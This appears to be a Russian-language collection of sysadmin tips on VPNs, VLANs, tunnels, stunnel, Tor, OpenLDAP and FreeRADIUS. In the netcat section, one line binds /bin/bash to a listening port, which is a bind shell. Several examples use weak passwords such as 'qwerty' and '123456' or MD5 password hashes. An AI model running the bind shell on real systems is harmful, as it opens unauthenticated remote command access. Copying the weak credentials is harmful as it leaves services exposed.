    /usr/ports/net/openvpn/Makefile, добавив "--enable-password-save" в CONFIGURE_ARGS.  
    Разумеется, в этом нет необходимости, если не требуется обеспечить полностью
    автоматический запуск OpenVPN.
    
     
    ----* Прозрачный переброс VPN соединения на другой сервер (доп. ссылка 1)   Автор: AxeleRaT  [комментарии]
     
    Была задача, сделать прозрачный переброс пользователей с одного VPN (PPTPD) сервера 
    на другой (PPTPD), с условием, что пользователям ничего менять в настройках
    VPN соединения не приедеться.
    
    В итоге на несколько разных VPN серверов (Fedora 3,4,6, APSlinux 11) был установлен 
    прозрачный редирект туннеля на центральные сервер, с единой базой данных о клиентах.
    
    Использованное ПО:
    
       pptpproxy-2.9.tar.bz2
    
    Пример запуска:
    
       #./pptpproxy -p 111.111.111.111:1723,222.222.222.222:1723 -a 10.0.0.0/255.0.0.0  -l /var/log/pptp_redirect
    
    Параметр -p
       111.111.111.111:1723  какой интерфейс:порт слушать
       222.222.222.222:1723  на какой адрес:порт перенаправлять
    
    Параметр -a
       10.0.0.0/255.0.0.0  acl на соединение с определенное сети
    
    Параметр -l
       /var/log/pptp_redirect  куда писать лог
    
    Таким образом избежали множества проблем с клиентами.
    В первую очередь данное ПО, как следует из названия, предназначено для
    проброса VPN туннелей через NAT.
    
    Использованные ОС:
       APSLinux 11
       CentOS 5
       Fedora
    
     
    ----* Как пробросить TCP порт средствами xinted (доп. ссылка 1)   Автор: Евгений  [комментарии]
     
    Пробросить TCP порт 1604 с 192.168.25.22 на машину  172.16.1.2 во внутренней сети.
    
    /etc/xinetd.conf
    
        service ica
        {
            disable = no
            port = 1604
            bind = 192.168.25.22
            socket_type = stream
            user = root
            redirect = 172.16.1.2 1604
            type = UNLISTED
            wait = no
        }
    
    redirect работает только для TCP.
    
     
    ----* Остановка netgraph нод после mpd (доп. ссылка 1)   Автор: Roman Y. Bogdanov  [комментарии]
     
    С помощью этого маленького скрипта, можно выполнить освобождение netgraph нод, 
    которые оставляет за собой упавший в "корку" MPD3.
    
    #!/bin/sh
    
    for j in "" 1 2 3 4 5 6 7 8 9 10 11 12; do
      for i in 0 1 2 3 4 5 6 7 8 9; do
        echo $j$i
        ngctl shutdown ng$j$i:
        ngctl shutdown mpd$1-pptp$j$i:
      done
    done
    
     
    ----* Как "протянуть" 802.1q tagged порт через ip-сеть.   Автор: Roman Timofeev aka ^rage^  [комментарии]
     
    Дано: 
    
    Есть hostA, который воткнут в каталист, в trunk (т.е. тегированный) порт, инкапсуляция 802.1q. 
    
    Есть hostB, который маршрут до hostA. маршрут живой, ip-пакеты между хостами безпроблемно бегают. 
    
    Задача: надо с hostA "притащить" виланы на hostB. 
    
    Решение: vtund + bridge.
    
    описание клиента в vtund.conf
    
       homepeer { 
          passwd qwerty; 
          type ether; 
          device home; 
          proto tcp; 
          compress yes; 
          stat yes;
          persist yes; 
    
          up { 
             ifconfig "%% up"; 
             program "brctl addbr br0"; 
             program "brctl addif br0 %%"; 
             program "brctl addif br0 eth0"; 
             ifconfig "br0 up"; 
          }; 
    
          down { 
             ifconfig "%% down"; 
             ifconfig "br0 down"; 
             program "brctl delbr br0"; 
          }; 
       }
    
    описание пира из конфига сервера
    
       homepeer { 
          passwd qwerty; # Password 
          type ether; # Ethernet tunnel 
          device work; # Device tap1 
          proto tcp; 
          compress yes; 
    
          up { 
             ifconfig "%% up"; 
          }; 
          down { 
             ifconfig "%% down"; 
          }; 
       } 
    
    Теперь на той Linux машине, куда кидаем порт:
    
       vconfig set_name_type VLAN_PLUS_VID_NO_PAD
       vconfig add work 4
       ifconfig vlan4 10.1.1.1 netmask 255.255.255.0 up
       vconfig add vlan4 8
       ifconfig vlan8 192.168.1.1 netmask 255.255.255.0 up
    
    Замечание:
    Клиент - хост, с которого мы тащим порт. Он живёт в серой сети и имеет выход в internet через NAT.
    Сервер - машина с публичным ip.
    
     
    ----* Q-in-Q (VLAN stacking) в Linux   Автор: ^rage^  [комментарии]
     
    Q-in-Q  - проброс VLAN внутри  другого VLAN.
    
    host1:
    
       vconfig set_name_type VLAN_PLUS_VID_NO_PAD
       vconfig add eth0 4
       ifconfig vlan4 10.1.1.1 netmask 255.255.255.0 up
       vconfig add vlan4 8
       ifconfig vlan8 192.168.1.1 netmask 255.255.255.0 up
    
    host2:
    
       vconfig set_name_type VLAN_PLUS_VID_NO_PAD
       vconfig add eth0 4
       ifconfig vlan4 10.1.1.2 netmask 255.255.255.0 up
       vconfig add vlan4 8
       ifconfig vlan8 192.168.1.2 netmask 255.255.255.0 up
    
    ragahost ~ # ping 192.168.1.2
    PING 192.168.1.2 (192.168.1.2) 56(84) bytes of data.
    64 bytes from 192.168.1.2: icmp_seq=1 ttl=64 time=0.820 ms
    
    ragahost ~ # tcpdump -e -i eth0
    22:40:47.297489 00:0e:0c:9b:fa:ce (oui Unknown) > 00:13:d4:8b:c8:b6 (oui Unknown), 
    ethertype 802.1Q (0x8100), length 106: vlan 4, p 0, ethertype 802.1Q, vlan 8, p 0, 
    ethertype IPv4, 192.168.1.2 > 192.168.1.1: ICMP echo request, id 64531, seq 146, length 64
    
     
    ----* Интеграция VPN на базе mpd в Active Directory.   Автор: spherix  [комментарии]
     
    Было дано:
     - Домен на Windows2003 с поднятым Kerberos.
     - FreeBSD на шлюзе, куда должны были подключаться пользователи.
     - VPN-демон mpd.
    
    Задача: заставить mpd брать пароли из домена.
    
    Решение:
    
     - Ставим третью самбу с поддержкой кербероса.
     - Настраиваем керберос
     - Подсоединяем самбу в домен.
     - Оставляем от нее только winbindd 
     - Ставим freeradius.
     - Сцепляем радиус с самбой.
     - Скручиваем mpd с радиусом и настраиваем сам mpd.
    
    Итог: управляем учетными записями VPN-пользователей через обычные средства AD, 
    а не пишем руками данные в файл. 
    
    Примечание1. Документация гласит, что можно связать радиус с керберосом. 
    То есть теоретически можно отказаться от самбы. Я так не делал, 
    поскольку подцепить через самбу мне лично было проще.
    
    Примечание2. Если использовать poptop, то можно не использовать 
    радиус, а использовать ntlm_auth из самбы. Тоже вариант.
    
    
    Файлы конфигурации: http://www.opennet.dev/base/net/mpd_win2003.txt.html
    
     
    ----* Настройка PPTP Client под управлением OpenBSD (доп. ссылка 1)   Автор: dreamcatcher.ru  [комментарии]
     
    Автор: Алексей Гнедин
    Редактор: Олег Сафулин
    
    Используемое ПО: pptp-1.6.0.tgz , OpenBSD 3.8 (GENERIC)
    
    Особенности данного подключения состоят в том ,что VPN сервер разрешает подключатся 
    только с авторизацией MSChapV2, и явно включённым шифрованием MPPE 128 STATELESS.
    
    
          cd /etc/ppp
          vi /etc/ppp/ppp.conf 
    
    Добавляем следующие строки:
    
          default:
           set log Phase Chat LCP IPCP CCP tun command
          pptp1:
           set device "!/usr/local/sbin/pptp  IPADDR_VPN_SERVER --nolaunchpppd"
           set log Phase LCP IPCP CCP tun command
           disable acfcomp protocomp
           deny acfcomp
           enable lqr
           set lqrperiod 5
           set cd 5
           set redial 30
           set timeout 0
           set authname <username>
           set authkey <userpass>
           set dial
           set login
           add! default HISADDR
           enable mssfixup
           disable ipv6cp
           accept MSChapV2
           set mppe 128 stateless
    
    Далее:
    
         touch /etc/hosname.tun0 ; vi  /etc/hostname.tun0 
    
    Добавляем следующие строки:
    
          !/usr/sbin/ppp -ddial pptp1 >/dev/null 2>&1
          sysctl -w net.inet.gre.allow=1
          reboot
    
    После загрузки машина автоматически соединится с VPN сервером. 
    
     
    ----* popa3d + TLS/SSL (stunnel) на FreeBSD 5.4   Автор: Вотинцев Сергей А.  [комментарии]
     
    Установка stunnel:
    
       cd /usr/ports/security/stunnel
       make && make install (!) не торопимся делать clean
       Копируем из папки work в /usr/local/etc/stunnel - stunnel.cnf, затем делаем make clean.
    
    Создаем сертификат:
       cd /usr/local/etc/stunnel && openssl req -new -x509 -days 365 \
          -nodes -config stunnel.cnf -out stunnel.pem -keyout stunnel.pem
       chmod 600 stunnel.pem && chown root:wheel stunnel.pem
    
    Конфиг для stunnel:
    
       cert = /usr/local/etc/stunnel/stunnel.pem
       RNDfile = /usr/local/etc/stunnel/stunnel.rnd
       chroot = /usr/local/var/stunnel/
       setuid = stunnel
       setgid = stunnel
       pid = /run/stunnel.pid
       output = /var/log/stunnel.log
       ciphers = HIGH
       debug = 6
       compression = rle
       [pop3s]
       accept  = 995
       connect = 127.0.0.1:110
    
    Делаем chroot:
    
       cd /usr/local/var && mkdir stunnel && cd stunnel
       mkdir etc && touch hosts.allow
       cd .. && mkdir run
    
    Содержание hosts.allow:
    
       pop3s : ALL : allow
       ALL : ALL : deny
    
    Права на директории /usr/local/var/stunnel
    
       drwxr-xr-x  2 root     wheel    512 Jul 30 20:31 etc
       drwxr-xr-x  2 stunnel  stunnel  512 Aug  3 15:55 run
    
    Правим rc.conf, если у Вас запускается только popa3d из inetd:
    
       inetd_flags="-wWa 127.0.0.1"
       /usr/local/etc/rc.d/stunnel.sh start
    
    Просмотр ciphers:
    
       openssl ciphers -v 'HIGH'
    
     
    ----* Защищенный канал связи используя stunnel   Автор: Wely  [комментарии]
     
    Мне потребовалось сделать защищённый канал для связи, под FreeBSD 5.4. 
    Выбрал самый легкий путь для моих условий: поставить stunnel. 
    Эта программа занимается перенаправлением портов через ssl-канал к обычным портам. итак:
    
    1) portupgrade -fN stunnel
    
    2) такой скрипт для создания самоподписанного ssl сертификата:
    
       !/bin/sh
       openssl genrsa -des3 -out ca.key 1024
       openssl req -new -x509 -days 365 -key ca.key -out ca.crt
       openssl req -new -nodes -out req.pem -keyout cert.pem
       chmod 600 cert.pem
       chown root:0 cert.pem
       openssl x509 -req -CA ca.crt -CAkey ca.key -days 365 -in req.pem -out signed-req.pem -CAcreateserial
       cat signed-req.pem >> cert.pem
       echo Сертификат готов в файле : cert.pem
    
    3) копируем cert.pem в /usr/local/etc/stunnel
    
    4) правим /usr/local/etc/stunnel/stunnel.conf
    
    5) запускаем stunnel и коннектимся к адресу:порту
    
     
    ----* Шифрованная передача текста (openssl+nc)   Автор: ZEDER  [обсудить]
     
    Передаём на хост .1 в порт 666 текст предварительно его зашифровав паролем "paSSw0rd":
       echo ТЕКСТ | openssl des3 -salt -k paSSw0rd | nc 192.168.48.1 666
    
    принимаем на порту 666 текст:
       nc -l -p 666 | openssl des3 -d -k paSSw0rd
    
     
    ----* Как создать шифрованный туннель используя SSH (доп. ссылка 1)   [комментарии]
     
    ssh dmzserver -R 9999:mirrorserver:80
    ssh -R 9999:localhost:80 dmzserver
    ssh -2 -N -f -L 2110:mail.example.com:110 user@ssh-server.example.com
    
     
    ----* Поднятие IP-IP туннеля между FreeBSD и Linux   Автор: Alexey N. Kovyrin  [комментарии]
     
    Пусть имеется 2 машины PC1 (FreeBSD, ip-адрес IP1, интерфейс INT1) и PC2 (Linux, IP2, INT2).
    Для построения IP-IP туннеля (на стороне FreeBSD будет адрес TUN1, Linux - TUN2):
    
      bsd# nos-tun -t /dev/tun0 -s TUN1 -d TUN2 -p 4 IP2
      bsd# ifconfig tun0 mtu 1500
      bsd# ifconfig tun0 up
    
      linux# ip tunnel add tun0 mode ipip remote IP1 local IP2 dev INT2
      linux# ifconfig tun0 TUN2 pointopoint TUN1
      linux# ifconfig tun0 mtu 1500
      linux# ifconfig tun0 up
    
     
    ----* Включение поддержки IPv6 в FreeBSD (доп. ссылка 1)   [комментарии]
     
    Ядро:
      options         INET6           # IPv6 communications protocols
      pseudo-device   gif             # IPv6 and IPv4 tunneling
      pseudo-device   faith   1       # IPv6-to-IPv4 relaying (translation)
    
    Регистрация и получение IP (http://www.freenet6.net или http://www.tunnelbroker.net)
      cd /usr/ports/net/freenet6/
      # make install clean
      # /usr/local/etc/rc.d/freenet6.sh start
    
    Подъем IPv6 вручную
      ifconfig gif0 create 
      ifconfig gif0 tunnel your-local-ipv4  remote-ipv4-of-your-broker
      ifconfig gif0 inet6  ipv6-given-by-the-broker ipv6-of-your-broker   prefixlen 128
      route -n add -inet6 default ipv6-of-your-broker
    
    /etc/rc.conf:
      ipv6_enable="YES"
      ipv6_defaultrouter="brokeripv6"
      ipv6_gateway_enable="YES"
      ipv6_network_interfaces="de0 gif0"
      ipv6_ifconfig_gif0="brokeripv6 prefixlen 128"
      ipv6_ifconfig_de0="youripv6::1 prefixlen 64"
      ipv6_static_routes="global"
      ipv6_route_global="2000:: -prefixlen 3 youripv6"
      gif_interfaces="gif0"
      gifconfig_gif0="youripv4 brokeripv4"
    
    Фаервол (Ipfilter):
      /etc/ipf6.rules
         pass in all
         pass out all
      ipf -6 -f /etc/ipf6.rules
    
     
    ----* Использование в Linux IEEE 802.1Q VLAN'ов совместно с Cisco Catalyst Switch   Автор: J  [обсудить]
     
    Linux:
      /sbin/vconfig add eth1 5
      /sbin/vconfig add eth1 4
      /sbin/ifconfig eth1.4 192.0.0.8 netmask 255.255.255.240 up
      /sbin/ifconfig eth1.5 192.0.1.8 netmask 255.255.255.240 up
    Catalyst:
      conf t
      int fa0/0
       switchport mode trunk
       switchport trunk allowed vlan 4,5,1002-1005
    
     
    ----* Создание gif туннеля в FreeBSD   Автор: kont  [комментарии]
     
    1) Собрать ядро с "pseudo-device   gif"
    2) В /etc/rc.conf добавить в список сетевых интерфейсов gif0
    3) В /etc создать файл под именем start_if.gif0 и сделать ему chmod +x
    4) Вставить в файл примерно следующее содержание:
    #!/bin/sh
    /sbin/ifconfig gif0 create inet virtual-local-ip virtual-remote-ip\
           netmask 255.255.255.252 tunnel source-addr remote-addr mtu 1500 up
    /sbin/route add default your-default-router
    /sbin/route add -net localnetwork-at-remote virtual-remote-ip
    
     
    ----* Как поднять туннель между Cisco и Linux   [комментарии]
     
    Linux (192.168.2.1):
       /sbin/ip tunnel add tunl1 mode ipip remote 192.168.1.1
       /sbin/ifconfig tunl1 192.168.3.2 pointopoint 192.168.3.1 netmask 255.255.255.252 mtu 1500
    
    Cisco (192.168.1.1):
      interface Tunnel0
        ip address 192.168.3.1 255.255.255.252
        ip mtu 1500
        tunnel source 192.168.1.1
        tunnel destination 192.168.2.1
        tunnel mode ipip
    
     
    ----* Создание шифрованного туннеля используя zebedee (доп. ссылка 1)   [обсудить]
     
    Запуск на сервере, куда будем соединятся с клиента:
      washin% zebedee ╜s 
    
    Телнет сессия с клиента:
      isshin% zebedee 9000:washin:telnet
      telnet localhost 9000 
    или одной командой:
      zebedee  ╜e "telnet localhost %d" washin
    
     
    ----* Как создать простейший туннель используя утилиту netcat (доп. ссылка 1)   [обсудить]
     
    Простейший echo-туннель:
      Серверный процесс: nc -l -p 5600
      Клиент: nc 10.0.1.1 5600
    
    netcat для пересылки файла:
     Сервер (куда писать файл): nc -v -w 30 -p 5600 l- > filename.back
     Клиент: nc -v -w 2 10.0.1.1 5600 < filename
    
    Перенаправление ввода/вывода на программу:
      Сервер: nc -l -p 5600 -e /bin/bash
      Клиент: nc 10.0.1.1. 5600
    
     
    ----* Настройка PPTP-клиента под FreeBSD (доп. ссылка 1)   Автор: l0ner  [комментарии]
     
    Необходимо установить из портов пакет pptpclient
    /etc/ppp/ppp.conf
      vpn:
      set authname <LOGIN>
      set authkey <PASSWORD>
      set timeout 0
      set ifaddr 0 0
      add default HISADDR
    
    Подключение к VBN серверу:
      /sbin/route add -host <IP_address_of_VPN_server> <gateway>
      /usr/local/sbin/pptp <IP_address_of_VPN_server> vpn &
    
     
    ----* Использование в FreeBSD IEEE 802.1Q VLAN'ов совместно с Cisco Catalyst Switch   [комментарии]
     
    В конфигурации FreeBSD ядра:
        pseudo-device vlan 20 # VLAN support (для динамической генерации в новых версиях - 20 можно не писать)
    Поднимаем VLAN вручную (где 28 - vlan id на свиче, fxp0 - интерфейс воткнутый в свитч):
        ifconfig vlan0 inet 192.168.1.3 netmask 255.255.255.0 vlan 28 vlandev fxp0
    Прописываем в /etc/rc.conf:
      cloned_interfaces="vlan0"
      ifconfig_vlan0="inet 192.168.1.3 netmask 255.255.255.0 vlan 28 vlandev fxp0"
    На коммутаторе Cisco Catalyst:
        interface FastEthernet0/1  # линк к FreeBSD
            switchport mode trunk
        interface FastEthernet0/2
            switchport access vlan 28
    
     
    ----* Как с помощью утилиты netcat организовать инкапсуляцию UDP в TCP поток.   [обсудить]
     
    Например, для доступа к syslog UDP порту через TCP соединение (клиент):
            nc -l -u -p syslog | nc localhost 2000
    Обратное преобразование (сервер):
           nc -l -p 2000 | nc localhost -u syslog
    В итоге можно организовать TCP туннель (например через SSH) для проброса информации для syslog.
    
     
    ----* Использование tor из состава Tor Browser без запуска самого браузера (доп. ссылка 1)   Автор: artenox  [комментарии]
     
    Так можно запустить встроенный tor без самого браузера:
    
    LD_LIBRARY_PATH=~/tor-browser/Browser/TorBrowser/Tor
    ~/tor-browser/Browser/TorBrowser/Tor/tor --defaults-torrc
    ~/tor-browser/Browser/TorBrowser/Data/Tor/torrc-defaults -f
    ~/tor-browser/Browser/TorBrowser/Data/Tor/torrc --DataDirectory
    ~/tor-browser/Browser/TorBrowser/Data/Tor --GeoIPFile
    ~/tor-browser/Browser/TorBrowser/Data/Tor/geoip --GeoIPv6File
    ~/tor-browser/Browser/TorBrowser/Data/Tor/geoip6 --SocksPort 9170
    
    После чего можно работать в Tor через SOCKS, обращаясь по порту 9170.
    
     
    ----* Возможные проблемы с настройками пакета tor в Debian по умолчанию (доп. ссылка 1)   Автор: Аноним  [комментарии]
     
    Пользователям пакетов, зависимых  от пакета tor в Debian, следует проявить
    осторожность. Файл конфигурации, идущий с пакетом tor, закомментирован почти
    полностью, включая места, запрещающие узлу работать в режиме выходного узла
    Tor. Настройки по умолчанию ( ExitRelay = "auto") подразумевают работу как
    выходного узла при определённых условиях (если активна одна из опций -
    ExitPolicy, ReducedExitPolicy или IPv6Exit).
    
    Проблему усугубляет то, что от пакета tor зависит apt-transport-tor, что может
    привести к ситуации, когда пользователь не разбираясь установил пакет для
    большей безопасности, а получил доступ всех подряд в свою внутреннюю сеть и
    перспективу претензий со стороны правоохранительных органов, как в деле
    Дмитрия Богатова.
    
    Дополнение: По умолчанию активация tor не подтверждена, по крайней мере в
    Debian Stable, если действия пользователя не привели к изменению настроек
    ExitPolicy, ReducedExitPolicy и IPv6Exit.
    
     

       Сетевые сервисы
    DNS
    FTP, Bittorrent
    INN
    Mail, почта
    Безопасность и установка ограничений
    Борьба со спамом, фильтрация почты
    Отправка и пересылка сообщений на уровне пользователя
    NFS
    Samba
    SNMP
    Socks proxy
    WWW, Apache httpd
    Ограничение доступа и ресурсов, безопасность
    Оптимизация и тюнинг Apache
    Редирект, mod_rewrite
    Прокси сервер Squid
    ACL, ограничения трафика и пользователей

    ----* Отключение ipv6 для JavaVM (доп. ссылка 1) (доп. ссылка 2)   Автор: Stepanoff  [комментарии]
     
    На системах, в которых одновременно используется IPv4 и IPv6, при работе Oracle
    JavaVM по умолчанию предпочтение отдается IPv6-стеку (серверные процессы
    привязываются к IPv6). При этом для формирования запросов по умолчанию
    используются IPv4-адреса (запросы отправляются по IPv4).
    
    Для изменения поведения JavaVM следует использовать опции
    java.net.preferIPv4Stack и java.net.preferIPv6Addresses, по умолчанию
    установленные в значение "false". Дополнительно в директиве
    sun.net.spi.nameservice.nameservers можно перечислить через запятую список
    DNS-серверов, которые будут использовать для резолвинга доменных имен.
    
    В качестве практического примера, можно привести ситуацию, при которой
    Jabber-сервер Openfire стал слушать только ipv6.  Решить проблему помог запуск
    приложения с опцией "-Djava.net.preferIPv4Stack=true"
    
     
    ----* Устанавливаем OpenLDAP 2.4.X и PhpLdapAdmin в Ubuntu 9.10   Автор: Денис А. Ксенофонтов  [комментарии]
     
    1. Установим сервер и дадим ему имя DS
    
    2. Домен который будет обслуживать сервер назовем LOCAL.NET
    
    3. Правим hostname
    Пример  /etc/hostname
    
       ds
    
    4. Правим /etc/hosts
    Пример  /etc/hosts
    
       127.0.0.1       localhost
       127.0.1.1       ds.local.net    ds
    
    5.Убедимся  в том, что прописан домен поиска resolve.conf
    Пример /etc/resolve.conf
    
       domain local.net
       search local.net
       nameserver  dns.local.net
    
    6.Проверяем  запись о домене поиска в interfaces
    Пример /etc/network/interfaces
    
       dns-search      local.net
    
    7. Обновляем репозитории apt
    
       aptitude update
    
    8. Устанавливаем LDAP Server, на текущий момент версия 2.4.18 и утилиты к нему
    
       aptitude install ldap-server ldap-utils
    
    9. Перейдем в каталог схем LDAP сервера
    
       cd /etc/ldap/schema
    
    10. Подключаем основные схемы
    
       ldapadd -Y EXTERNAL -H ldapi:/// -f /etc/ldap/schema/cosine.ldif
       ldapadd -Y EXTERNAL -H ldapi:/// -f /etc/ldap/schema/inetorgperson.ldif
       ldapadd -Y EXTERNAL -H ldapi:/// -f /etc/ldap/schema/nis.ldif
    
    Если все удачно увидим ответ следующего вида
    
       SASL/EXTERNAL authentication started
       SASL username: gidNumber=0+uidNumber=0,cn=peercred,cn=external,cn=auth
       SASL SSF: 0
       adding new entry "cn=cosine,cn=schema,cn=config"
    
    11. Подключаем внутренние модули и создаем базу данных для LDAP
    Создаем файл db.ldif:
    
       # Подключаем модуль для  динамической загрузки
       dn: cn=module{0},cn=config
       objectClass: olcModuleList
       cn: module
       olcModulepath: /usr/lib/ldap
       olcModuleload: {0}back_hdb
    
       # Создаем базу данных для нашего домена
       dn: olcDatabase={1}hdb,cn=config
       objectClass: olcDatabaseConfig
       objectClass: olcHdbConfig
       olcDatabase: {1}hdb
       olcDbDirectory: /var/lib/ldap
       olcSuffix: dc=local,dc=net
       olcRootDN: cn=admin,dc=local,dc=net
       olcRootPW: ваш password у меня example
       olcDbConfig: {0}set_cachesize 0 2097152 0
       olcDbConfig: {1}set_lk_max_objects 1500
       olcDbConfig: {2}set_lk_max_locks 1500
       olcDbConfig: {3}set_lk_max_lockers 1500
       olcLastMod: TRUE
       olcDbCheckpoint: 512 30
       olcDbIndex: uid pres,eq
       olcDbIndex: cn,sn,mail pres,eq,approx,sub
       olcDbIndex: objectClass eq
       
    12. Сохраняем файл
    
    13. Подгружаем модуль и инициализируем базу данных
    
       ldapadd -Y EXTERNAL -H ldapi:/// -f db.ldif
    
       SASL/EXTERNAL authentication started
       SASL username: gidNumber=0+uidNumber=0,cn=peercred,cn=external,cn=auth
       SASL SSF: 0
       adding new entry "olcDatabase={1}hdb,cn=config"
    
    14. Генерируем пароль в MD5:
    
       slappasswd -h {MD5}
    
    скопируем результат вывода
    
       {MD5}Gnmk1g3mcY6OWzJuM4rlMw==
    
    15. Создаем базовый DN и пользователя admin
    Внесем в файл base.ldifследующие параметры:
    
       dn: dc=local,dc=net
       objectClass: dcObject
       objectclass: organization
       o: local.net
       dc: local
       description: My LDAP Root
    
       dn: cn=admin,dc=local,dc=net
       objectClass: simpleSecurityObject
       objectClass: organizationalRole
       cn: admin
       userPassword: {MD5}Gnmk1g3mcY6OWzJuM4rlMw== #Наш пароль в MD5
       description: LDAP administrator
    
    Создаем базовый DN
    
       ldapadd -Y EXTERNAL -H ldapi:/// -f base.ldif
    
       SASL/EXTERNAL authentication started
       SASL username: gidNumber=0+uidNumber=0,cn=peercred,cn=external,cn=auth
       SASL SSF: 0
       adding new entry "dc=local,dc=net"
       adding new entry "cn=admin,dc=local,dc=net"
    
    16. Устанавливаем права доступа на CN=config
    Пропишем в файл acl-config.ldif следующие права:
    
       dn: cn=config
       changetype: modify
       delete: olcAuthzRegexp
    
       dn: olcDatabase={-1}frontend,cn=config
       changetype: modify
       delete: olcAccess
    
       dn: olcDatabase={0}config,cn=config
       changetype: modify
       delete: olcRootDN
    
       dn: olcDatabase={0}config,cn=config
       changetype: modify
       add: olcRootDN
       olcRootDN: cn=admin,cn=config
    
       dn: olcDatabase={0}config,cn=config
       changetype: modify
       add: olcRootPW
       olcRootPW: {MD5}Gnmk1g3mcY6OWzJuM4rlMw==
    
       dn: olcDatabase={0}config,cn=config
       changetype: modify
       delete: olcAccess
    
    Устанавливаем права на cn=config
    
       ldapadd -Y EXTERNAL -H ldapi:/// -f acl-config.ldif
    
       SASL/EXTERNAL authentication started
       SASL username: gidNumber=0+uidNumber=0,cn=peercred,cn=external,cn=auth
       SASL SSF: 0
       modifying entry "cn=config"
       modifying entry "olcDatabase={-1}frontend,cn=config"
       modifying entry "olcDatabase={0}config,cn=config"
       modifying entry "olcDatabase={0}config,cn=config"
       modifying entry "olcDatabase={0}config,cn=config"
       modifying entry "olcDatabase={0}config,cn=config"
    
    
    17. Устанавливаем права доступа к корню cn=config
    Установим права на корень в файле root-acl.ldif
    
       dn: olcDatabase={1}hdb,cn=config
       add: olcAccess
       olcAccess: to attrs=userPassword,shadowLastChange by  \
          dn="cn=admin,dc=local,dc=net" write by anonymous auth by self write  by * none
       olcAccess: to dn.base="" by * read
       olcAccess: to * by dn="cn=admin,dc=local,dc=net" write by * read
    
    Модифицируем права
    
       ldapmodify -x -D cn=admin,cn=config -W -f root-acl.ldif
    
       Enter LDAP Password: example
       modifying entry "olcDatabase={1}hdb,cn=config"
    
    Все OpenLDAP готов к работе
    
    18. Ставим phpldapadmin
    
       aptitude install phpldapadmin
    
    19. После установки заходим по адресу http://имя сервера/phpldapadmin
    
    20. Если все правильно установилось то увидим приглашение login
    
    21. Если видим ошибку вида
    
       ERROR! E_STRICT: Declaration of AJAXTree::draw_dn() should be compatible with that of PLMTree::draw_dn()
    
    То в файле /usr/share/phpldapadmin/lib/AJAXTree.php
    
    Находим
    
       protected function  draw_dn($dn,$level=0,$first_child=true,$last_child=true)
    
    Меняем
    
       protected function draw_dn($dn,$level,$first_child=true,$last_child=true)
    
    
    22. Правим файл настроек phpldapadmin
    Редактируем /usr/share/phpldapadmin/config/config.php
    
    Меняем
    
       'dc=example,dc=com'
    на
       'dc=local,dc=net&#8217;
    
    23. Проверяем http://имя сервера/phpldapadmin
    
     
    ----* Настройка FreeRadius с привязкой к MySQL (доп. ссылка 1)   Автор: shadow_alone  [комментарии]
     
    Рассмотрим как настроить радиус-сервер с привязкой к базе данных в MySQL на
    примере CentOS, FreeRadius и MySQL.
    
    Сейчас очень многие устрйства поддерживают работу через Radius, например точки доступа Wi-Fi.
    
    Устанавливаем MySQL, если он конечно у Вас уже не стоит
    
       yum install mysql mysql-devel mysql-server
    
       chkconfig --levels 235 mysqld on
       /etc/init.d/mysqld start
    
       netstat -tap | grep mysql
    
    получаем:
    
       netstat -tap | grep mysql
    
       tcp        0      0 *:mysql *:*  LISTEN      2793/mysqld
    
    установим пароль для пользователя root для MySQL:
    
       mysqladmin -u root password 123456
    
    Устанавливаем FreeRadius
    
       yum install freeradius freeradius-mysql
    
    Правим файл /etc/raddb/users, добавляем:
    
       shad  Auth-Type := Local, User-Password == "test"
       Service-Type = Framed-User,
       Framed-Protocol = PPP,
       Framed-IP-Address = 192.168.0.7,
       Framed-IP-Netmask = 255.255.255.0,
    
    правим /etc/raddb/clients.conf
    раздел client 127.0.0.1 должен выглядеть вот так:
    
       client 127.0.0.1 {
         secret      = 123
         shortname   = localhost
         nastype     = other
       }
    
    проверяем:
    
       radiusd -X
    
    на другой консоли
    
       radtest shad test localhost 1812 123
    
    получаем:
    
       Sending Access-Request of id 35 to 127.0.0.1 port 1812
       User-Name = "shad"
       User-Password = "test"
       NAS-IP-Address = 255.255.255.255
       NAS-Port = 1812
       rad_recv: Access-Accept packet from host 127.0.0.1:1812, id=35, length=44
       Service-Type = Framed-User
       Framed-Protocol = PPP 
       Framed-IP-Address = 192.168.0.7
       Framed-IP-Netmask = 255.255.255.0
    
    Радиус работает и отвечает
    
    перейдем к настройкам MySQL
    
       mysql -u root -p
       mysql>CREATE DATABASE radius;
       mysql>GRANT ALL ON radius.* TO radius@localhost IDENTIFIED BY "123";
       mysql>\q
    
       mysql -u root -p radius </usr/share/doc/freeradius-1.1.3/examples/mysql.sql
    
    проверяем:
    
       mysql -u root -p
       mysql>use database radius;
       mysql>show tables;
       mysql>\q
    
    правим /etc/raddb/sql.conf, раскомментируем
    
       readclients = yes
    
    правим /etc/raddb/radiusd.conf
    в секциях authorize{}, authorize{}, session{}, post-auth{} раскомментируем
    
       sql
    
    получиться примерно так:
    
       authorize {
          preprocess
          chap
          mschap
          suffix
          eap
          sql
          pap
       }
    
    Заполним базу в MySQL:
    
       mysql -u root -p
       mysql> use database radius;
       mysql> INSERT INTO radcheck (UserName, Attribute, Value) VALUES ('testsql', 'Password', 'test123');
    
    проверяем:
    
       mysql> select * from radcheck where UserName='testsql';
       mysql>\q
    
    правим /etc/raddb/sql.conf
    выставляем правильные значения:
    
       server = "localhost"
       login = "radius"
       password = "123"
       radius_db = "radius"
    
    в файле /etc/raddb/users комментируем строки
    
       #DEFAULT        Auth-Type = System
       #       Fall-Through = 1
    
    запускаем radiusd -X
    на другой консоли
    
       radtest testsql test123 localhost 1812 123
    
    если получили Access-Accept, то всё в порядке, связка FreeRadius+MySQL работает, 
    теперь можете заполнять таблицы DB нужными значениями и использовать в своих
    устройствах авторизации
    через ваш радиус, для этого IP устройства надо добавить в /etc/raddb/clients.conf, примерно так:
    
       client 192.168.0.55 {
          secret          = MysUp3rseCr3t
          shortname       = my_device_name 
          nastype     = other
       }
    
    Удачной работы!!!
    
     
    ----* Настройка синхронизации времени на сервере FreeBSD (доп. ссылка 1)   Автор: Litos  [комментарии]
     
    Прописываем в /etc/rc.conf
    
        ntpdate_enable="YES"
        ntpd_enable="YES"
    
    Первая строка будет запускать ntpdate при ребуте сервера чтобы система загрузилась с 
    правильно установленными часами. Вторая строка запустит демон ntpd, который будет 
    заведовать плавной корректировкой времени в дальнейшем.
    
    Далее в /etc/ntp.conf пишем (рекомендуемые сервера с ntp.org)
    
        server 0.pool.ntp.org
        server 1.pool.ntp.org
        server 2.pool.ntp.org
        restrict 127.0.0.1
    
    Строка restrict 127.0.0.1 разрешает управление демоном ntpd только с localhost 
